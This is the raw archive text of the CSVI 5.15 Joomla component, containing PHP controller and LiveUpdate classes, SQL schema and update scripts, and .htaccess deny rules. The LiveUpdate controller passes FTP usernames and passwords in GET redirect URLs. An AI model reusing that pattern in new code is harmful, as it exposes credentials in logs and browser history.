* @copyright * @author RolandD * @todo * @see * @access public * @param * @return string json encoded values * @since 4.0 */ public function loadCategoryTree() { $jinput = JFactory::getApplication()->input; $helper = new Com_VirtueMart(); $options = $helper->getCategoryTree($jinput->get('language')); echo json_encode($options); } /* TO BE FIGURED OUT */ public function loadTables() { $result = CsviHelper::getCustomTables(); array_unshift($result, JText::_('COM_CSVI_SELECT_TABLE_FOR_EXPORT')); echo json_encode($result); } public function getStates() { $model = $this->getModel('import'); $options = array(); $options[] = JHtml::_('select.option', 'none', JText::_('COM_CSVI_ALL_TAX_STATES')); $states = array_merge($options, $model->getStates(JRequest::getCmd('country'))); echo json_encode(JHtml::_('select.genericlist', $states, 'jform[tax][states][]', 'multiple="multiple" size="7"', 'value', 'text', 'none')); } } ?> PK@y>\components/com_csvi/csvi.phpnuW+Aauthorise('core.manage', 'com_csvi')) { return JError::raiseWarning(404, JText::_('JERROR_ALERTNOAUTHOR')); } require_once JPATH_COMPONENT_ADMINISTRATOR.'/liveupdate/liveupdate.php'; if(JRequest::getCmd('view','') == 'liveupdate') { LiveUpdate::handleRequest(); return; } // Define our version number define('CSVI_VERSION', '5.15'); // Make sure the Joomla default language is always loaded $jlang = JFactory::getLanguage(); $jlang->load('com_csvi', JPATH_ADMINISTRATOR, 'en-GB', true); $jlang->load('com_csvi', JPATH_ADMINISTRATOR, $jlang->getDefault(), true); $jlang->load('com_csvi', JPATH_ADMINISTRATOR, null, true); // Get the input object $jinput = JFactory::getApplication()->input; // Load the logger require_once (JPATH_COMPONENT_ADMINISTRATOR.'/helpers/log.php'); // Load the general helper require_once (JPATH_COMPONENT_ADMINISTRATOR.'/helpers/csvi.php'); // Load a specific helper if available $filename = JPATH_COMPONENT_ADMINISTRATOR.'/helpers/'.$jinput->get('component').'.php'; if (file_exists($filename)) require_once($filename); // Get the database object $db = JFactory::getDbo(); // Define the tmp folder $config = JFactory::getConfig(); $tmp_path = $config->getValue('config.tmp_path'); if (!defined('CSVIPATH_TMP')) define('CSVIPATH_TMP', JPath::clean($tmp_path.'/com_csvi', '/')); if (!defined('CSVIPATH_DEBUG')) define('CSVIPATH_DEBUG', JPath::clean($tmp_path.'/com_csvi/debug', '/')); // Set the global settings require_once(JPATH_COMPONENT_ADMINISTRATOR.'/helpers/settings.php'); $settings = new CsviSettings(); $jinput->set('settings', $settings); // Start preparing if ($jinput->get('cron', false, 'bool')) { // Override preview in cron mode $jinput->set('was_preview', true); } else { // Not doing cron, so set it to false $jinput->set('cron', false); // Add stylesheets $document = JFactory::getDocument(); $document->addStyleSheet(JURI::root().'administrator/components/com_csvi/assets/css/images.css'); $document->addStyleSheet(JURI::root().'administrator/components/com_csvi/assets/css/display.css'); $document->addStyleSheet(JURI::root().'administrator/components/com_csvi/assets/css/tables.css'); $document->addStyleSheet(JURI::root().'administrator/components/com_csvi/assets/css/jquery.alerts.css'); $document->addStyleSheet(JURI::root().'administrator/components/com_csvi/assets/css/jquery-ui.css'); $document->addStyleSheet(JURI::root().'administrator/components/com_csvi/assets/css/jquery-csvi.css'); // Add javascript $document->addScript(JURI::root().'administrator/components/com_csvi/assets/js/jquery.js'); $document->addScriptDeclaration('jQuery.noConflict();'); $document->addScript(JURI::root().'administrator/components/com_csvi/assets/js/jquery.alerts.js'); $document->addScript(JURI::root().'administrator/components/com_csvi/assets/js/jquery.timers.js'); $document->addScript(JURI::root().'administrator/components/com_csvi/assets/js/jquery-ui.js'); $document->addScript(JURI::root().'administrator/components/com_csvi/assets/js/jquery.tablednd_0_5.js'); $document->addScript(JURI::root().'administrator/components/com_csvi/assets/js/csvi.js'); JHtml::_('behavior.modal'); // Add language strings to JavaScript // About view JText::script('COM_CSVI_ERROR_CREATING_FOLDER'); // Maintenance view JText::script('COM_CSVI_CONFIRM_DB_DELETE'); JText::script('COM_CSVI_CONFIRM_CSVITABLES_DELETE'); JText::script('COM_CSVI_CHOOSE_RESTORE_FILE_LABEL'); JText::script('COM_CSVI_CHOOSE_BACKUP_LOCATION_LABEL'); JText::script('COM_CSVI_EMPTYDATABASE_LABEL'); JText::script('COM_CSVI_ERROR_PROCESSING_RECORDS'); // Process JText::script('COM_CSVI_ERROR_DURING_PROCESS'); JText::script('COM_CSVI_CHOOSE_TEMPLATE_FIELD'); JText::script('COM_CSVI_ALERT'); // Install JText::script('COM_CSVI_ERROR_DURING_INSTALL'); } // Include dependancies jimport('joomla.application.component.controller'); // Create the controller $controller = JController::getInstance('csvi'); $controller->execute($jinput->get('task')); $controller->redirect(); ?>PK@y>\UC  components/com_csvi/csvi.xmlnuW+A CSVI 1 december 2013 RolandD Cyber Produksi contact@csvimproved.com http://www.csvimproved.com/ Copyright (C) 2006 - 2013 RolandD Cyber Produksi. All rights reserved. GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html 5.15 COM_CSVI_XML_DESCRIPTION csvi.php controllers models views script.php en-GB/en-GB.com_csvi.ini sql/install/mysql/install.mysql.utf8.sql sql/updates/mysql COM_CSVI COM_CSVI_DASHBOARD COM_CSVI_PROCESS COM_CSVI_REPLACEMENTS COM_CSVI_LOG COM_CSVI_MAINTENANCE COM_CSVI_AVAILABLEFIELDS COM_CSVI_SETTINGS COM_CSVI_TEMPLATETYPES COM_CSVI_ABOUT changelog.txt config.xml csvi.php controller.php index.html assets controllers helpers install liveupdate models sql tables views en-GB/en-GB.com_csvi.ini en-GB/en-GB.com_csvi.sys.ini http://www.csvimproved.com/csvi.xml PK@y>\ ff-components/com_csvi/sql/updates/mysql/4.1.sqlnuW+AALTER TABLE `#__csvi_replacements` ADD COLUMN `multivalue` ENUM('0','1') NOT NULL AFTER `replacetext`;PK@y>\SF.components/com_csvi/sql/updates/mysql/5.11.sqlnuW+ACREATE TABLE IF NOT EXISTS `#__csvi_mapheaders` ( `id` INT(10) NOT NULL AUTO_INCREMENT, `map_id` INT(10) NOT NULL, `csvheader` VARCHAR(100) NOT NULL, `templateheader` VARCHAR(100) NOT NULL, PRIMARY KEY (`id`) ) COMMENT='Contains the mapped fields'; CREATE TABLE IF NOT EXISTS `#__csvi_maps` ( `id` INT(10) NOT NULL AUTO_INCREMENT, `name` VARCHAR(100) NULL DEFAULT NULL, `mapfile` VARCHAR(100) NULL DEFAULT NULL, `action` VARCHAR(100) NULL DEFAULT NULL, `component` VARCHAR(100) NULL DEFAULT NULL, `operation` VARCHAR(100) NULL DEFAULT NULL, `checked_out` INT(10) NULL DEFAULT NULL, `checked_out_time` DATETIME NULL DEFAULT NULL, PRIMARY KEY (`id`) ) COMMENT='Holds map configurations'; CREATE TABLE IF NOT EXISTS `#__csvi_template_fields` ( `id` int(11) unsigned NOT NULL AUTO_INCREMENT COMMENT 'Unique ID for the template field', `template_id` int(11) unsigned NOT NULL DEFAULT '0' COMMENT 'The template ID', `ordering` int(11) unsigned NOT NULL DEFAULT '0' COMMENT 'The order of the field', `field_name` varchar(255) NOT NULL COMMENT 'Name for the field', `column_header` varchar(255) NOT NULL DEFAULT '' COMMENT 'Header for the column', `default_value` varchar(255) NOT NULL DEFAULT '' COMMENT 'Default value for the field', `process` enum('0','1') NOT NULL DEFAULT '1' COMMENT 'Process the field', `combine` ENUM('0','1') NOT NULL DEFAULT '0' COMMENT 'Combine the field', `sort` enum('0','1') NOT NULL DEFAULT '0' COMMENT 'Sort the field', PRIMARY KEY (`id`) ) CHARSET=utf8 COMMENT='Holds the fields for a CSVI template'; CREATE TABLE IF NOT EXISTS `#__csvi_related_categories` ( `product_sku` VARCHAR(64) NOT NULL, `related_cat` TEXT NOT NULL ) COMMENT='Related categories import for CSVI'; ALTER TABLE `#__csvi_replacements` ADD COLUMN `ordering` INT(11) NOT NULL DEFAULT '0' AFTER `method`; ALTER TABLE `#__csvi_template_fields` ADD COLUMN `file_field_name` VARCHAR(255) NOT NULL DEFAULT '' COMMENT 'Name for the field from the file' AFTER `field_name`; ALTER TABLE `#__csvi_template_fields` ADD COLUMN `template_field_name` VARCHAR(255) NOT NULL DEFAULT '' COMMENT 'Name for the field from the template' AFTER `file_field_name`; ALTER TABLE `#__csvi_template_fields` ADD COLUMN `cdata` ENUM('0','1') NOT NULL DEFAULT '1' COMMENT 'Use the CDATA tag' AFTER `sort`; ALTER TABLE `#__csvi_template_fields` ADD COLUMN `combine_char` VARCHAR(5) NOT NULL DEFAULT '' COMMENT 'The character(s) to combine the fields' AFTER `combine`; CREATE TABLE IF NOT EXISTS `#__csvi_template_fields_combine` ( `id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT 'Unique ID for the cross reference', `field_id` VARCHAR(255) NOT NULL COMMENT 'ID of the field', `combine_id` VARCHAR(255) NOT NULL COMMENT 'ID of the field to combine', PRIMARY KEY (`id`) ) COMMENT='Holds the replacement cross reference for a CSVI template field'; CREATE TABLE IF NOT EXISTS `#__csvi_template_fields_replacement` ( `id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT 'Unique ID for the cross reference', `field_id` VARCHAR(255) NOT NULL COMMENT 'ID of the field', `replace_id` VARCHAR(255) NOT NULL COMMENT 'ID of the replacement rule', PRIMARY KEY (`id`) ) COMMENT='Holds the replacement cross reference for a CSVI template field'; CREATE TABLE IF NOT EXISTS `#__csvi_template_settings` ( `id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT 'Unique ID for the saved setting', `name` VARCHAR(255) NOT NULL COMMENT 'Name for the saved setting', `settings` TEXT NOT NULL COMMENT 'The actual settings', `process` ENUM('import','export') NOT NULL DEFAULT 'import' COMMENT 'The type of template', PRIMARY KEY (`id`) ) COMMENT='Stores the template settings for CSVI'; ALTER TABLE `#__csvi_template_types` ADD COLUMN `published` TINYINT(1) NOT NULL DEFAULT '1' AFTER `options`, ADD COLUMN `ordering` INT(11) NULL DEFAULT NULL AFTER `published`; ALTER TABLE `#__csvi_template_settings` ADD COLUMN `process` ENUM('import','export') NOT NULL DEFAULT 'import' COMMENT 'The type of template' AFTER `settings`;PK@y>\/components/com_csvi/sql/updates/mysql/4.5.1.sqlnuW+APK@y>\-components/com_csvi/sql/updates/mysql/4.4.sqlnuW+APK@y>\)/components/com_csvi/sql/updates/mysql/.htaccessnuW+A Order allow,deny Deny from all PK@y>\))components/com_csvi/sql/updates/.htaccessnuW+A Order allow,deny Deny from all PK@y>\))components/com_csvi/sql/install/.htaccessnuW+A Order allow,deny Deny from all PK@y>\)/components/com_csvi/sql/install/mysql/.htaccessnuW+A Order allow,deny Deny from all PK@y>\o>:":"<components/com_csvi/sql/install/mysql/install.mysql.utf8.sqlnuW+ACREATE TABLE IF NOT EXISTS `#__csvi_available_fields` ( `id` int(11) NOT NULL AUTO_INCREMENT, `csvi_name` varchar(255) NOT NULL, `component_name` varchar(55) NOT NULL, `component_table` varchar(55) NOT NULL, `component` varchar(55) NOT NULL, `isprimary` tinyint(1) NOT NULL DEFAULT '0', PRIMARY KEY (`id`), UNIQUE KEY `component_name_table` (`component_name`,`component_table`,`component`) ) CHARSET=utf8 COMMENT='Available fields for CSVI'; CREATE TABLE IF NOT EXISTS `#__csvi_currency` ( `currency_id` tinyint(4) NOT NULL AUTO_INCREMENT, `currency_code` varchar(3) DEFAULT NULL, `currency_rate` varchar(55) DEFAULT NULL, PRIMARY KEY (`currency_id`), UNIQUE KEY `currency_code` (`currency_code`) ) CHARSET=utf8 COMMENT='Curriencies and exchange rates for CSVI'; CREATE TABLE IF NOT EXISTS `#__csvi_icecat_index` ( `path` varchar(100) DEFAULT NULL, `product_id` int(2) DEFAULT NULL, `updated` int(14) DEFAULT NULL, `quality` varchar(6) DEFAULT NULL, `supplier_id` int(1) DEFAULT NULL, `prod_id` varchar(16) DEFAULT NULL, `catid` int(3) DEFAULT NULL, `m_prod_id` varchar(10) DEFAULT NULL, `ean_upc` varchar(10) DEFAULT NULL, `on_market` int(1) DEFAULT NULL, `country_market` varchar(10) DEFAULT NULL, `model_name` varchar(26) DEFAULT NULL, `product_view` int(5) DEFAULT NULL, `high_pic` varchar(51) DEFAULT NULL, `high_pic_size` int(5) DEFAULT NULL, `high_pic_width` int(3) DEFAULT NULL, `high_pic_height` int(3) DEFAULT NULL, `m_supplier_id` int(3) DEFAULT NULL, `m_supplier_name` varchar(51) DEFAULT NULL, KEY `product_mpn` (`prod_id`), KEY `manufacturer_name` (`supplier_id`) ) CHARSET=utf8 COMMENT='ICEcat index data for CSVI'; CREATE TABLE IF NOT EXISTS `#__csvi_icecat_suppliers` ( `supplier_id` int(11) unsigned NOT NULL, `supplier_name` varchar(255) NOT NULL, UNIQUE KEY `Unique supplier` (`supplier_id`,`supplier_name`), KEY `Supplier name` (`supplier_name`) ) CHARSET=utf8 COMMENT='ICEcat supplier data for CSVI'; CREATE TABLE IF NOT EXISTS `#__csvi_logs` ( `id` int(11) NOT NULL AUTO_INCREMENT, `userid` int(11) NOT NULL, `logstamp` datetime NOT NULL, `action` varchar(255) NOT NULL, `action_type` varchar(255) NOT NULL DEFAULT '', `template_name` varchar(255) DEFAULT NULL, `records` int(11) NOT NULL, `run_id` int(11) DEFAULT NULL, `file_name` varchar(255) DEFAULT NULL, `run_cancelled` tinyint(1) NOT NULL DEFAULT '0', PRIMARY KEY (`id`) ) CHARSET=utf8 COMMENT='Log results for CSVI'; CREATE TABLE IF NOT EXISTS `#__csvi_log_details` ( `id` int(11) NOT NULL AUTO_INCREMENT, `log_id` int(11) NOT NULL, `line` int(11) NOT NULL, `description` text NOT NULL, `result` varchar(45) NOT NULL, `status` varchar(45) NOT NULL, PRIMARY KEY (`id`) ) CHARSET=utf8 COMMENT='Log details for CSVI'; CREATE TABLE IF NOT EXISTS `#__csvi_related_products` ( `product_sku` varchar(64) NOT NULL, `related_sku` text NOT NULL ) CHARSET=utf8 COMMENT='Related products import for CSVI'; CREATE TABLE IF NOT EXISTS `#__csvi_related_categories` ( `product_sku` varchar(64) NOT NULL, `related_cat` text NOT NULL ) CHARSET=utf8 COMMENT='Related categories import for CSVI'; CREATE TABLE IF NOT EXISTS `#__csvi_replacements` ( `id` int(10) NOT NULL AUTO_INCREMENT, `name` varchar(100) NOT NULL, `findtext` text NOT NULL, `replacetext` text NOT NULL, `multivalue` enum('0','1') NOT NULL, `method` enum('text','regex') NOT NULL DEFAULT 'text', `ordering` int(11) NOT NULL DEFAULT '0', `checked_out` int(11) unsigned DEFAULT '0', `checked_out_time` datetime DEFAULT '0000-00-00 00:00:00', PRIMARY KEY (`id`) ) CHARSET=utf8 COMMENT='Replacement rules for CSVI'; CREATE TABLE IF NOT EXISTS `#__csvi_settings` ( `id` int(11) NOT NULL AUTO_INCREMENT, `params` text NOT NULL, PRIMARY KEY (`id`) ) CHARSET=utf8 COMMENT='Configuration values for CSVI'; INSERT IGNORE INTO `#__csvi_settings` VALUES (1, ''); INSERT IGNORE INTO `#__csvi_settings` VALUES (2, ''); CREATE TABLE IF NOT EXISTS `#__csvi_template_fields` ( `id` int(11) unsigned NOT NULL AUTO_INCREMENT COMMENT 'Unique ID for the template field', `template_id` int(11) unsigned NOT NULL DEFAULT '0' COMMENT 'The template ID', `ordering` int(11) unsigned NOT NULL DEFAULT '0' COMMENT 'The order of the field', `field_name` varchar(255) NOT NULL COMMENT 'Name for the field', `file_field_name` varchar(255) NOT NULL COMMENT 'Name for the field from the file', `template_field_name` varchar(255) NOT NULL DEFAULT '' COMMENT 'Name for the field from the template', `column_header` varchar(255) NOT NULL DEFAULT '' COMMENT 'Header for the column', `default_value` varchar(255) NOT NULL DEFAULT '' COMMENT 'Default value for the field', `process` enum('0','1') NOT NULL DEFAULT '1' COMMENT 'Process the field', `combine` ENUM('0','1') NOT NULL DEFAULT '0' COMMENT 'Combine the field', `combine_char` varchar(5) NOT NULL DEFAULT '' COMMENT 'The character(s) to combine the fields', `sort` enum('0','1') NOT NULL DEFAULT '0' COMMENT 'Sort the field', `cdata` enum('0','1') NOT NULL DEFAULT '1' COMMENT 'Use the CDATA tag', PRIMARY KEY (`id`) ) CHARSET=utf8 COMMENT='Holds the fields for a CSVI template'; CREATE TABLE IF NOT EXISTS `#__csvi_template_fields_combine` ( `id` int(11) unsigned NOT NULL AUTO_INCREMENT COMMENT 'Unique ID for the cross reference', `field_id` varchar(255) NOT NULL COMMENT 'ID of the field', `combine_id` varchar(255) NOT NULL COMMENT 'ID of the combine rule', PRIMARY KEY (`id`) ) CHARSET=utf8 COMMENT='Holds the combine cross reference for a CSVI template field'; CREATE TABLE IF NOT EXISTS `#__csvi_template_fields_replacement` ( `id` int(11) unsigned NOT NULL AUTO_INCREMENT COMMENT 'Unique ID for the cross reference', `field_id` varchar(255) NOT NULL COMMENT 'ID of the field', `replace_id` varchar(255) NOT NULL COMMENT 'ID of the replacement rule', PRIMARY KEY (`id`) ) CHARSET=utf8 COMMENT='Holds the replacement cross reference for a CSVI template field'; CREATE TABLE IF NOT EXISTS `#__csvi_template_settings` ( `id` int(11) unsigned NOT NULL AUTO_INCREMENT COMMENT 'Unique ID for the saved setting', `name` varchar(255) NOT NULL COMMENT 'Name for the saved setting', `settings` text NOT NULL COMMENT 'The actual settings', `process` enum('import','export') NOT NULL DEFAULT 'import' COMMENT 'The type of template', PRIMARY KEY (`id`) ) CHARSET=utf8 COMMENT='Stores the template settings for CSVI'; CREATE TABLE IF NOT EXISTS `#__csvi_template_tables` ( `id` int(10) unsigned NOT NULL AUTO_INCREMENT, `checked_out` int(10) unsigned NOT NULL DEFAULT '0', `checked_out_time` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `template_type_name` varchar(55) NOT NULL, `template_table` varchar(55) NOT NULL, `component` varchar(55) NOT NULL, `indexed` int(1) NOT NULL DEFAULT '0', PRIMARY KEY (`id`), UNIQUE KEY `type_name` (`template_type_name`,`template_table`,`component`) ) CHARSET=utf8 COMMENT='Template tables used per template type for CSVI'; CREATE TABLE IF NOT EXISTS `#__csvi_template_types` ( `id` INT(10) UNSIGNED NOT NULL AUTO_INCREMENT, `checked_out` INT(10) UNSIGNED NOT NULL DEFAULT '0', `checked_out_time` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00', `template_type_name` VARCHAR(55) NOT NULL, `template_type` VARCHAR(55) NOT NULL, `component` VARCHAR(55) NOT NULL COMMENT 'Name of the component', `url` VARCHAR(100) NULL DEFAULT NULL COMMENT 'The URL of the page the import is for', `options` VARCHAR(255) NOT NULL DEFAULT 'fields' COMMENT 'The template pages to show for the template type', `published` TINYINT(1) NOT NULL DEFAULT '1', `ordering` INT(11) NULL DEFAULT NULL, PRIMARY KEY (`id`), UNIQUE KEY `type_name` (`template_type_name`,`template_type`,`component`) ) CHARSET=utf8 COMMENT='Template types for CSVI'; CREATE TABLE IF NOT EXISTS `#__csvi_maps` ( `id` INT(10) NOT NULL AUTO_INCREMENT, `name` VARCHAR(100) NULL DEFAULT NULL, `mapfile` VARCHAR(100) NULL DEFAULT NULL, `action` VARCHAR(100) NULL DEFAULT NULL, `component` VARCHAR(100) NULL DEFAULT NULL, `operation` VARCHAR(100) NULL DEFAULT NULL, `checked_out` INT(10) NULL DEFAULT NULL, `checked_out_time` DATETIME NULL DEFAULT NULL, PRIMARY KEY (`id`) ) CHARSET=utf8 COMMENT='Holds map configurations'; CREATE TABLE IF NOT EXISTS `#__csvi_mapheaders` ( `id` INT(10) NOT NULL AUTO_INCREMENT, `map_id` INT(10) NOT NULL, `csvheader` VARCHAR(100) NOT NULL, `templateheader` VARCHAR(100) NOT NULL, PRIMARY KEY (`id`) ) CHARSET=utf8 COMMENT='Holds map field mapping'; PK@y>\)!components/com_csvi/sql/.htaccessnuW+A Order allow,deny Deny from all PK@y>\)(components/com_csvi/liveupdate/.htaccessnuW+A Order allow,deny Deny from all PK@y>\bS4components/com_csvi/liveupdate/classes/inihelper.phpnuW+A */ defined('_JEXEC') or die(); /** * A smart INI file parser with reproducible behaviour among different PHP versions */ class LiveUpdateINIHelper { /** * Parse an INI file and return an associative array. Since PHP versions before * 5.1 are bitches with regards to INI parsing, I use a PHP-only solution to * overcome this obstacle. * @param string $file The file to process * @param bool $process_sections True to also process INI sections * @return array An associative array of sections, keys and values */ public static function parse_ini_file( $file, $process_sections, $rawdata = false ) { if($rawdata) { return self::parse_ini_file_php($file, $process_sections, $rawdata); } else { if( version_compare(PHP_VERSION, '5.1.0', '>=') && (!$rawdata) ) { if( function_exists('parse_ini_file') ) { return parse_ini_file($file, $process_sections); } else { return self::parse_ini_file_php($file, $process_sections); } } else { return self::parse_ini_file_php($file, $process_sections, $rawdata); } } } /** * A PHP based INI file parser. * Thanks to asohn ~at~ aircanopy ~dot~ net for posting this handy function on * the parse_ini_file page on http://gr.php.net/parse_ini_file * @param string $file Filename to process * @param bool $process_sections True to also process INI sections * @param bool $rawdata If true, the $file contains raw INI data, not a filename * @return array An associative array of sections, keys and values */ static function parse_ini_file_php($file, $process_sections = false, $rawdata = false) { $process_sections = ($process_sections !== true) ? false : true; if(!$rawdata) { $ini = file($file); } else { $file = str_replace("\r","",$file); $ini = explode("\n", $file); } if (count($ini) == 0) {return array();} $sections = array(); $values = array(); $result = array(); $globals = array(); $i = 0; foreach ($ini as $line) { $line = trim($line); $line = str_replace("\t", " ", $line); // Comments if (!preg_match('/^[a-zA-Z0-9[]/', $line)) {continue;} // Sections if ($line{0} == '[') { $tmp = explode(']', $line); $sections[] = trim(substr($tmp[0], 1)); $i++; continue; } // Key-value pair list($key, $value) = explode('=', $line, 2); $key = trim($key); $value = trim($value); if (strstr($value, ";")) { $tmp = explode(';', $value); if (count($tmp) == 2) { if ((($value{0} != '"') && ($value{0} != "'")) || preg_match('/^".*"\s*;/', $value) || preg_match('/^".*;[^"]*$/', $value) || preg_match("/^'.*'\\s*;/", $value) || preg_match("/^'.*;[^']*$/", $value) ){ $value = $tmp[0]; } } else { if ($value{0} == '"') { $value = preg_replace('/^"(.*)".*/', '$1', $value); } elseif ($value{0} == "'") { $value = preg_replace("/^'(.*)'.*/", '$1', $value); } else { $value = $tmp[0]; } } } $value = trim($value); $value = trim($value, "'\""); if ($i == 0) { if (substr($line, -1, 2) == '[]') { $globals[$key][] = $value; } else { $globals[$key] = $value; } } else { if (substr($line, -1, 2) == '[]') { $values[$i-1][$key][] = $value; } else { $values[$i-1][$key] = $value; } } } for($j = 0; $j < $i; $j++) { if ($process_sections === true) { if( isset($sections[$j]) && isset($values[$j]) ) $result[$sections[$j]] = $values[$j]; } else { if( isset($values[$j]) ) $result[] = $values[$j]; } } return $result + $globals; } }PK@y>\5components/com_csvi/liveupdate/classes/controller.phpnuW+A */ defined('_JEXEC') or die(); jimport('joomla.application.component.controller'); if(!class_exists('JoomlaSucksController')) { if(interface_exists('JController')) { abstract class JoomlaSucksController extends JControllerLegacy {} } else { class JoomlaSucksController extends JController {} } } /** * The Live Update MVC controller */ class LiveUpdateController extends JoomlaSucksController { /** * Object contructor * @param array $config * * @return LiveUpdateController */ public function __construct($config = array()) { parent::__construct(); $this->registerDefaultTask('overview'); } /** * Runs the overview page task */ public function overview() { $this->display(); } /** * Starts the update procedure. If the FTP credentials are required, it asks for them. */ public function startupdate() { $updateInfo = LiveUpdate::getUpdateInformation(); if($updateInfo->stability != 'stable') { $skipNag = JRequest::getBool('skipnag', false); if(!$skipNag) { $this->setRedirect('index.php?option='.JRequest::getCmd('option','').'&view='.JRequest::getCmd('view','liveupdate').'&task=nagscreen'); $this->redirect(); } } $ftp = $this->setCredentialsFromRequest('ftp'); if($ftp === true) { // The user needs to supply the FTP credentials $this->display(); } else { // No FTP credentials required; proceed with the download $this->setRedirect('index.php?option='.JRequest::getCmd('option','').'&view='.JRequest::getCmd('view','liveupdate').'&task=download'); $this->redirect(); } } /** * Download the update package */ public function download() { $ftp = $this->setCredentialsFromRequest('ftp'); $model = $this->getThisModel(); $result = $model->download(); if(!$result) { // Download failed $msg = JText::_('LIVEUPDATE_DOWNLOAD_FAILED'); $this->setRedirect('index.php?option='.JRequest::getCmd('option','').'&view='.JRequest::getCmd('view','liveupdate').'&task=overview', $msg, 'error'); } else { // Download successful. Let's extract the package. $url = 'index.php?option='.JRequest::getCmd('option','').'&view='.JRequest::getCmd('view','liveupdate').'&task=extract'; $user = JRequest::getString('username', null, 'GET', JREQUEST_ALLOWRAW); $pass = JRequest::getString('password', null, 'GET', JREQUEST_ALLOWRAW); if($user) { $url .= '&username='.urlencode($user).'&password='.urlencode($pass); } $this->setRedirect($url); } $this->redirect(); } public function extract() { $ftp = $this->setCredentialsFromRequest('ftp'); $model = $this->getThisModel(); $result = $model->extract(); if(!$result) { // Download failed $msg = JText::_('LIVEUPDATE_EXTRACT_FAILED'); $this->setRedirect('index.php?option='.JRequest::getCmd('option','').'&view='.JRequest::getCmd('view','liveupdate').'&task=overview', $msg, 'error'); } else { // Extract successful. Let's install the package. $url = 'index.php?option='.JRequest::getCmd('option','').'&view='.JRequest::getCmd('view','liveupdate').'&task=install'; $user = JRequest::getString('username', null, 'GET', JREQUEST_ALLOWRAW); $pass = JRequest::getString('password', null, 'GET', JREQUEST_ALLOWRAW); if($user) { $url .= '&username='.urlencode($user).'&password='.urlencode($pass); } // Do we have SRP installed yet? $app = JFactory::getApplication(); $jResponse = $app->triggerEvent('onSRPEnabled'); $status = false; if(!empty($jResponse)) { $status = false; foreach($jResponse as $response) { $status = $status || $response; } } // SRP enabled, use it if($status) { $return = $url; $url = $model->getSRPURL($return); if(!$url) { $url = $return; } } $this->setRedirect($url); } $this->redirect(); } public function install() { $ftp = $this->setCredentialsFromRequest('ftp'); $model = $this->getThisModel(); $result = $model->install(); if(!$result) { // Installation failed $model->cleanup(); $this->setRedirect('index.php?option='.JRequest::getCmd('option','').'&view='.JRequest::getCmd('view','liveupdate').'&task=overview'); $this->redirect(); } else { // Installation successful. Show the installation message. $cache = JFactory::getCache('mod_menu'); $cache->clean(); $this->display(); } } public function cleanup() { // Perform the cleanup $ftp = $this->setCredentialsFromRequest('ftp'); $model = $this->getThisModel(); $model->cleanup(); // Force reload update information $dummy = LiveUpdate::getUpdateInformation(true); die('OK'); } /** * Displays the current view * @param bool $cachable Ignored! */ public final function display($cachable = false, $urlparams = false) { $viewLayout = JRequest::getCmd( 'layout', 'default' ); $view = $this->getThisView(); // Get/Create the model $model = $this->getThisModel(); $view->setModel($model, true); // Assign the FTP credentials from the request, or return TRUE if they are required jimport('joomla.client.helper'); $ftp = $this->setCredentialsFromRequest('ftp'); $view->assignRef('ftp', $ftp); // Set the layout $view->setLayout($viewLayout); // Display the view $view->display(); } public final function getThisView() { static $view = null; if(is_null($view)) { $basePath = $this->basePath; $tPath = dirname(__FILE__).'/tmpl'; require_once('view.php'); $view = new LiveUpdateView(array('base_path'=>$basePath, 'template_path'=>$tPath)); } return $view; } public final function getThisModel() { static $model = null; if(is_null($model)) { require_once('model.php'); $model = new LiveUpdateModel(); $task = $this->task; $model->setState( 'task', $task ); $app = JFactory::getApplication(); $menu = $app->getMenu(); if (is_object( $menu )) { $item = $menu->getActive(); if ($item) { $params = $menu->getParams($item->id); // Set Default State Data $model->setState( 'parameters.menu', $params ); } } } return $model; } private function setCredentialsFromRequest($client) { // Determine wether FTP credentials have been passed along with the current request jimport('joomla.client.helper'); $user = JRequest::getString('username', null, 'GET', JREQUEST_ALLOWRAW); $pass = JRequest::getString('password', null, 'GET', JREQUEST_ALLOWRAW); if ($user != '' && $pass != '') { // Add credentials to the session if (JClientHelper::setCredentials($client, $user, $pass)) { $return = false; } else { $return = JError::raiseWarning('SOME_ERROR_CODE', 'JClientHelper::setCredentialsFromRequest failed'); } } else { // Just determine if the FTP input fields need to be shown $return = !JClientHelper::hasCredentials('ftp'); } return $return; } }PK@y>\` /components/com_csvi/liveupdate/classes/view.phpnuW+A */ defined('_JEXEC') or die(); jimport('joomla.application.component.view'); if(!class_exists('JoomlaSucksView')) { if(interface_exists('JView')) { abstract class JoomlaSucksView extends JViewLegacy {} } else { class JoomlaSucksView extends JView {} } } /** * The Live Update MVC view */ class LiveUpdateView extends JoomlaSucksView { public function display($tpl = null) { // Load the CSS $config = LiveUpdateConfig::getInstance(); $this->assign('config', $config); if(!$config->addMedia()) { // No custom CSS overrides were set; include our own $document = JFactory::getDocument(); $url = JURI::base().'/components/'.JRequest::getCmd('option','').'/liveupdate/assets/liveupdate.css'; $document->addStyleSheet($url, 'text/css'); } $requeryURL = 'index.php?option='.JRequest::getCmd('option','').'&view='.JRequest::getCmd('view','liveupdate').'&force=1'; $this->assign('requeryURL', $requeryURL); $model = $this->getModel(); $extInfo = (object)$config->getExtensionInformation(); JToolBarHelper::title($extInfo->title.' – '.JText::_('LIVEUPDATE_TASK_OVERVIEW'),'liveupdate'); JToolBarHelper::back('JTOOLBAR_BACK', 'index.php?option='.JRequest::getCmd('option','')); switch(JRequest::getCmd('task','default')) { case 'startupdate': $this->setLayout('startupdate'); $this->assign('url','index.php?option='.JRequest::getCmd('option','').'&view='.JRequest::getCmd('view','liveupdate').'&task=download'); break; case 'install': $this->setLayout('install'); // Get data from the model $state = $this->get('State'); // Are there messages to display ? $showMessage = false; if ( is_object($state) ) { $message1 = $state->get('message'); $message2 = $state->get('extension.message'); $showMessage = ( $message1 || $message2 ); } $this->assign('showMessage', $showMessage); $this->assignRef('state', $state); break; case 'nagscreen': $this->setLayout('nagscreen'); $this->assign('updateInfo', LiveUpdate::getUpdateInformation()); $this->assign('runUpdateURL','index.php?option='.JRequest::getCmd('option','').'&view='.JRequest::getCmd('view','liveupdate').'&task=startupdate&skipnag=1'); break; case 'overview': default: $this->setLayout('overview'); $force = JRequest::getInt('force',0); $this->assign('updateInfo', LiveUpdate::getUpdateInformation($force)); $this->assign('runUpdateURL','index.php?option='.JRequest::getCmd('option','').'&view='.JRequest::getCmd('view','liveupdate').'&task=startupdate'); 